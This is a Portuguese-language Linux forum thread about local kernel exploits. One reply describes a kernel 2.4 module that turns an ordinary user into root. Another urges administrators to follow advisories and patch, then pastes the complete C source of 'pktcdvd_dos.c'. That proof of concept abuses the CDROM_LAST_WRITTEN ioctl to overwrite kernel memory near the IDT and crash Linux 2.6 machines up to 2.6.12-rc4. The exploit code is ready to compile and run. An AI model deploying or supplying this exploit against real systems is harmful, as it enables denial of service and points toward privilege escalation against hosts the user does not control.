+ Responder ao Tópico



  1. entra com usuario comum, compila e roda

  2. #42
    maverick_cba
    Vonlinkerstain, poderia me enviar esse código para eu testar no meu Debian 3.1?

    Agora fiquei com medo denovo. Preciso saber a gravidade da situação.



  3. Se vc usa o kernel 2.6 nao terá esse problema.

  4. Citação Postado originalmente por maverick_cba
    Vonlinkerstain, poderia me enviar esse código para eu testar no meu Debian 3.1?

    Agora fiquei com medo denovo. Preciso saber a gravidade da situação.
    No Debian eu ainda não o testei, mas ele só funciona nos kernels 2.4 pois é uma falha de system calls. O programa é um módulo, que pode ser carregado por um usuário comum, que deve estar na máquina, e ao ser carregado ele muda o uid do usuário para 0, com isso o cara vira root sem precisar de senha..



  5. Sim, até agora vocês estão falando de exploits que exploram bufferoverflow.
    Um bom Administrador de Sistema, Rede e DBA, não pode deixar de participar de grupos de segurança sites de segurança, sites de exploits e outros....
    Pois scriptkids apenas colocam os script's em C, BASH,Perl para rodar, e pode ter certeza de que se você não estiver antenado, ele vai explorar uma falha no seu sistema.
    Temos que ficar atentos com as versões que estão rodando nas máquinas pois quando uma versão sobe, é que algum BUG foi corrigido, então deem uma olhada o pq a versão subiu, vejam se não existem "Remote Code Execution" ou mesmo um "Arbitrary code Execution "pois se existir, ou você para o serviço, ou atualiza.
    Lembrando tambem que a maioria das invasões vem de dentro da sua empresa, e não de fora, pois de dentro você tem muito mais serviços rodando no servidor e seus scripts estão mirados para fora!
    E aquele cara que está com aviso prévio e odeia a empresa, e de alguma forma quer prejudicar o máximo possível a empresa?!!.


    Se alguem tiver acesso a máquina em questão, (ssh) (tty) (telnet) entre outros é bom você ficar mil vezes mais esperto, pois exploits locais são muito comuns em Linux, Windows,MAC ,FreeBSD (pois a maioria das vezes o exploit está escrito em cima da sua aplicação e não do sistema que você está rodando) e se o "usuário" com conhecimento em exploits realmente quiser subir para root, é bem provavel que consiga.


    Então, se cuidem Linuxers, pois a cada dia nascem mais e mais ScriptKids.


    Não mencionei "Escovadores de Bits", pois sabemos que somos vulneraveis.




    #######################################################################
    /* pktcdvd_dos.c proof-of-concept
    * This is only a lame POC which will crash the machine, no root shell here.
    * --- alert7
    * 2005-5-15
    * the vulnerability in 2.6 up to and including 2.6.12-rc4
    *
    * gcc -o pktcdvd_dos pktcdvd_dos.c
    *
    * NOTE: require user can read pktcdvd block device




    #define _GNU_SOURCE
    #include <stdio.h>
    #include <stdlib.h>
    #include <errno.h>
    #include <string.h>
    #include <unistd.h>
    #include <fcntl.h>
    #include <signal.h>
    #include <paths.h>
    #include <grp.h>
    #include <setjmp.h>
    #include <stdint.h>
    #include <sys/mman.h>
    #include <sys/ipc.h>
    #include <sys/shm.h>
    #include <sys/ucontext.h>
    #include <sys/wait.h>
    #include <asm/ldt.h>
    #include <asm/page.h>
    #include <asm/segment.h>
    #include <linux/unistd.h>
    #include <linux/linkage.h>
    #include <sys/types.h>
    #include <sys/stat.h>
    #include <fcntl.h>
    #include <linux/sysctl.h>
    #include <linux/cdrom.h>


    #define __NR_sys_ioctl __NR_ioctl



    #define PKTCDVDDEVICE "/dev/hdc"


    static inline _syscall3(int, sys_ioctl, int ,fd,int, cmd,unsigned long, arg);


    struct idtr {
    unsigned short limit;
    unsigned int base;
    } __attribute__ ((packed));


    unsigned int get_addr_idt() {
    struct idtr idtr;
    asm("sidt %0" : "=m" (idtr));
    return idtr.base;
    }
    struct desc_struct {
    unsigned long a,b;
    };
    int main(int argc,char **argv)
    {
    unsigned int ptr_idt;
    int iret ;
    int fd;


    printf("[++]user stack addr %p \n",&ptr_idt);
    if ( ( (unsigned long )&ptr_idt >>24)==0xfe){
    printf("[--]this kernel patched 4g/4g patch,no vulnerability!\n");
    return -1;
    }


    ptr_idt=get_addr_idt();
    printf("[++]IDT Addr %p \n",ptr_idt);



    fd = open(PKTCDVDDEVICE,O_RDONLY);
    if (fd ==-1)
    {
    printf("[--]");
    fflush(stdout);
    perror("open");
    return -1;
    }

    unsigned long WriteTo ;


    if ( (ptr_idt>>24)==0xc0){
    printf("[++]this OS in Real Linux\n");
    WriteTo= ptr_idt;
    }else{
    printf("[++]this OS maybe in VMWARE\n");
    WriteTo = 0xc0100000;
    }


    printf("[++]call sys_ioctl will crash machine\n");
    fflush(stdout);

    int loopi;
    for (loopi=0;loopi<0x100000 ;loopi++ )
    {
    printf("[++]will write data at 0x%x\n",WriteTo+loopi*4);
    fflush(stdout);
    iret = sys_ioctl(fd,
    CDROM_LAST_WRITTEN,
    WriteTo+loopi*4);
    if (iret ==-1)
    {
    printf("[--]");
    fflush(stdout);
    perror("ioctl");
    //if in VMWARE ,rewrite ptr_idt adress will failed
    printf("[--]still aliving\n");
    close(fd);
    return -1;
    }
    }
    close(fd);
    return 0;
    }






Tópicos Similares

  1. Invasão - Resposta
    Por AndrewAmorimdaSilva no fórum Servidores de Rede
    Respostas: 21
    Último Post: 18-03-2003, 15:56
  2. Livro - Hackers Crashdown
    Por fabiorenno no fórum Servidores de Rede
    Respostas: 0
    Último Post: 12-03-2003, 15:46
  3. Tentativa de invasão ???/ Como agir ??
    Por adcorp no fórum Segurança
    Respostas: 10
    Último Post: 06-12-2002, 08:50
  4. INVASÃO
    Por Solver no fórum Segurança
    Respostas: 2
    Último Post: 18-10-2002, 07:07
  5. invasao???
    Por 1c3m4n no fórum Segurança
    Respostas: 4
    Último Post: 16-10-2002, 10:59

Visite: BR-Linux ·  VivaOLinux ·  Dicas-L